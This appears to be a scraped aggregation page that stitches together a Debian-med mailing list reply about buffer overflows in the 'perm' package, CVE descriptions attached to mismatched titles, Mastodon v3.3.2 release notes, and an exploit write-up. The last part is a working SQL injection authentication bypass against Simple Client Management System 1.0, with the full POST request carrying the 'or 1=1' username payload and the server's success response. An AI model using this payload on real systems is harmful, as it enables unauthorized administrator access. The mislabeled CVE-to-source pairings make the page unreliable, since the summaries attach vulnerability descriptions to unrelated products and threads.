>> the autopkgtest which was initially working fails \[3\].
> 
> The autopkgtest says:
> 
> Info 3: Sortubg buckets using 2 CPUs                                          .
> \*\*\* buffer overflow detected \*\*\*: terminated
> Info 3: Successfully made the index
> 
> My guess is that enabling hardening options has uncovered some memory leak.
> I'd recommend firing up gdb and try finding the issue.

The basic problem is that it has several instances of strcpy and sprintf, which are
famously known for causing buffer overflows.

I think the sensible option is to replace these with strlcpy and strcat when needed.

But the problem is that the code needs a lot of refactoring, rewriting and debugging to get these things in properly.
So I am tempted to say that we should consider to remove perm from the archive.
Upstream is dead, and I do not think it is worth keeping this in anymore

What do you think?

Nilesh

**Attachment: OpenPGP\_signature**  
_Description:_ OpenPGP digital signature

**Reply to:**

*   debian-med@lists.debian.org
*   Nilesh Patra (on-list)
*   Nilesh Patra (off-list)

*   **Follow-Ups**:
    *   **Re: Autopkgtest for perm**
        *   _From:_ Nilesh Patra <nilesh@tchncs.de>

*   **References**:
    *   **Autopkgtest for perm**
        *   _From:_ Shruti Sridhar <shruti.sridhar99@gmail.com>
    *   **Re: Autopkgtest for perm**
        *   _From:_ Andreas Tille <andreas@an3as.eu>

*   Prev by Date: **Re: Autopkgtest for perm**
*   Next by Date: **Re: Autopkgtest for perm**
*   Previous by thread: **Re: Autopkgtest for perm**
*   Next by thread: **Re: Autopkgtest for perm**
*   Index(es):
    *   **Date**
    *   **Thread**

CVE-2021-38172: Re: Autopkgtest for perm

The config restore function of Voipmonitor GUI before v24.96 does not properly check files sent as restore archives, allowing remote attackers to execute arbitrary commands via a crafted file in the web root.

CVE-2022-24262: News - VoIPmonitor

Mastodon before 3.3.2 and 3.4.x before 3.4.6 has incorrect access control because it does not compact incoming signed JSON-LD activities. (JSON-LD signing has been supported since version 1.6.0.)

![Mastodon](https://camo.githubusercontent.com/151e1927aa71042bef4528c6e8a848b83ecda374a27297111d42f69d5a1f649d/68747470733a2f2f692e696d6775722e636f6d2f4e685a6334306c2e706e67)

> ⚠️ This release is an important security release fixing CVE-2022-24307, **a critical security issue**.
> 
> A corresponding security release is also available for the 3.4.x branch, which is the recommended release.

**Changelog****Fixed**

*   Fix `mastodon:webpush:generate_vapid_key` task requiring a functional environment (ClearlyClaire)
*   Fix spurious errors when receiving an Add activity for a private post (ClearlyClaire)

**Security**

*   Fix error-prone SQL queries (ClearlyClaire)
*   Fix not compacting incoming signed JSON-LD activities (puckipedia, ClearlyClaire) (CVE-2022-24307)
*   Fix insufficient sanitization of report comments (ClearlyClaire)
*   Fix stop condition of a Common Table Expression (ClearlyClaire)
*   Disable legacy XSS filtering (Wonderfall)

**Upgrade notes**

Because this is a backport, it is not available with `git pull`. Use `git fetch && git checkout v3.3.2`

> As always, **make sure you have backups of the database before performing any upgrades**. If you are using docker-compose, this is how a backup command might look: docker exec mastodon\_db\_1 pg\_dump -Fc -U postgres postgres > name\_of\_the\_backup.dump

**Dependencies**

External dependencies have not changed compared to v3.3.1, the compatible Ruby, PostgreSQL, Node, Elasticsearch and Redis versions are the same, that is:

*   Ruby: 2.5 to 2.7
*   PostgreSQL: 9.4 or newer
*   Elasticsearch (optional, for full-text search): 5.x, 6.x or 7.x
*   Redis: 4 or newer
*   Node:
    *   Node 10: 10.0 or newer
    *   Node 12: 12.16 or newer
    *   Node 13: 13.9 or newer
    *   Node 14: 14.5 or newer

Compared to 3.3.0, an additional system dependency is required: `shared-mime-info`, which is likely already installed on your system.  
On Debian-based systems, it can be installed using `apt install shared-mime-info`.

**Update steps**

The following instructions are for updating from 3.3.2.

If you are upgrading directly from an earlier release, please carefully read the upgrade notes for the skipped releases as well, as they often require extra steps such as database migrations.

**Non-Docker**

If you're upgrading from before 3.3.2, make sure you have `shared-mime-info` installed (`apt install shared-mime-info`).

1.  Pull the code: `git fetch && git checkout v3.3.2`
2.  Restart `mastodon-web` and `mastodon-sidekiq`:  
    `systemctl reload mastodon-web`  
    `systemctl restart mastodon-sidekiq`

**Docker**

The exact steps depend on your setup, but they are likely to match the following:

1.  Pull the code: `git fetch && git checkout v3.3.2`
2.  Pull the prebuilt images: `docker-compose pull`, or, alternatively, build them yourself: `docker-compose build --pull`
3.  Restart all Mastodon processes: `docker-compose up -d`

CVE-2022-24307: Release v3.3.2 · mastodon/mastodon

SQL Injection vulnerability exists in Sourcecodester Simple Client Management System 1.0 via the username field in login.php.

Permalink

Cannot retrieve contributors at this time

\# Exploit Title: Simple Client Management System 1.0 - SQL injection (Authentication Bypass)

\# Date: 27/01/2022

\# Exploit Author: Rahul Kalnarayan (r4hn1)

\# Vendor Homepage: https://www.sourcecodester.com/

\# Software Link: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html

\# Version: 1.0

\# Category: Webapps

\# Tested on: Apache2+MariaDB latest version

\# Description : Simple Client Management System 1.0 suffers from SQL injection vulnerability, allowing an un-authenticated user to login admin panel.

\# CVE ID: CVE-2021-43510

Vulnerable Page: /crm/admin/

POC-Request

\-----------------------------------

POST /cms/classes/Login.php?f=login HTTP/1.1

Host: 192.168.1.76

Content-Length: 31

Accept: \*/\*

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.1.76

Referer: http://192.168.1.76/cms/admin/login.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

username=admin'+or+'1'%3d'1'--+-&password=as

\---------------------------------------

POC-Response

HTTP/1.1 200 OK

Date: Thu, 27 Jan 2022 17:29:08 GMT

Server: Apache/2.4.38 (Debian)

Set-Cookie: PHPSESSID=1s27q3saavhi3jc8lndng66tlt; path=/; secure

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Length: 20

Connection: close

Content-Type: text/html; charset=UTF-8

{"status":"success"}

Tag

#debian